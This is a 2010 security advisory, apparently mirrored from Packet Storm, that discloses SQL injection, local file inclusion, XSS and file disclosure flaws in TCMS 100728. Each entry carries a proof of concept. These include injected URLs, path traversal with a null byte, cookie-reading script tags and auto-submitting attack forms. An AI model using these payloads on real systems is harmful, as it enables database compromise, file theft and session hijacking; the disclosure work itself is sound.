Lucene search
K

TCMS 100728 Cross Site Scripting / Local File Inclusion / SQL Injection

🗓️ 27 Aug 2010 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Security vulnerabilities in TCMS 100728 version including SQL Injection, Local File Inclusion, and Cross Site Scripting have not been fixed, exposing the system to data compromise and arbitrary command execution

Code
`=====================================  
Vulnerability ID: HTB22571  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "php/lib/admin.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?admin=1&section=content&action=edit&id=PAGE_ID'+ANY_SQL  
  
=====================================  
Vulnerability ID: HTB22572  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms_1.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "php/template/content.php" script to properly sanitize user-supplied input in "content" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?template=home&content=home'+ANY_SQL  
  
=====================================  
Vulnerability ID: HTB22573  
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_tcms.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: Local File Inclusion  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
Null-byte (%00) injection and catalog bypass (../) attacks are possible and can lead to arbitrary local file inclusion and execution. An attacker needs to have a possibility to modify or create local files to exploit this vulnerability, or have a malicious file already existing in the system.  
  
The vulnerability exists due to failure in the "target.php" script to properly sanitize user-supplied input in "template" variable. An attacker can compromise the application, execute arbitrary operating system commands, alter file system integrity, access or modify sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?template=./../../../../../../../tmp/test.php%00  
  
=====================================  
Vulnerability ID: HTB22574  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_tcms.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "php/lib/admin.php" script to properly sanitize user-supplied input in "section" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?admin=1&section=language"><script>alert(document.cookie)</script>&action=addLanguage  
  
=====================================  
Vulnerability ID: HTB22575  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_tcms_1.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "php/lib/admin.php script to properly sanitize user-supplied input in "note" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/www/index.php" method="post" name="main" >  
  
<input type="hidden" name="template" value="3" />  
<input type="hidden" name="language" value="1" />  
<input type="hidden" name="name" value="home" />  
<input type="hidden" name="note" value='The note text"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="value" value="page content" />  
<input type="hidden" name="admin" value="1" />  
<input type="hidden" name="text" value="1" />  
<input type="hidden" name="section" value="content" />  
<input type="hidden" name="id" value="9" />  
<input type="hidden" name="action" value="Save text" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
=====================================  
Vulnerability ID: HTB22576  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms_2.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "php/lib/admin.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/www/index.php" method="post" name="main" >  
  
<input type="hidden" name="template" value="3" />  
<input type="hidden" name="language" value="1" />  
<input type="hidden" name="name" value="home" />  
<input type="hidden" name="note" value='The note text' />  
<input type="hidden" name="value" value="page content" />  
<input type="hidden" name="admin" value="1" />  
<input type="hidden" name="text" value="1" />  
<input type="hidden" name="section" value="content" />  
<input type="hidden" name="id" value="9'+ANY_SQL_CODE" />  
<input type="hidden" name="action" value="Save text" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
=====================================  
Vulnerability ID: HTB22577  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms_3.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "php/template/forum.php" script to properly sanitize user-supplied input in "index" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?template=forum&action=showReplies&index=1'+ANY_SQL_CODE  
  
=====================================  
Vulnerability ID: HTB22578  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_tcms_4.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "php/template/blog.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?template=blog&id=1'+ANY_SQL_CODE  
  
=====================================  
Vulnerability ID: HTB22579  
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_tcms.html  
Product: TCMS  
Vendor: Target CMS ( http://targetcms.com/ )   
Vulnerable Version: 100728 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: File Content Disclosure  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
An attacker can disclose arbitrary local file content.  
  
The vulnerability exists due to failure in the "php/lib/admin.php" script to properly sanitize user-supplied input in "name" variable. An attacker can compromise the application, get configuration and password files content. Access to this information could lead attacker in launching further attacks against the target system.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/www/index.php?admin=1&section=style&action=editStylesheet&name=./../../../../../../../tmp/test.php  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation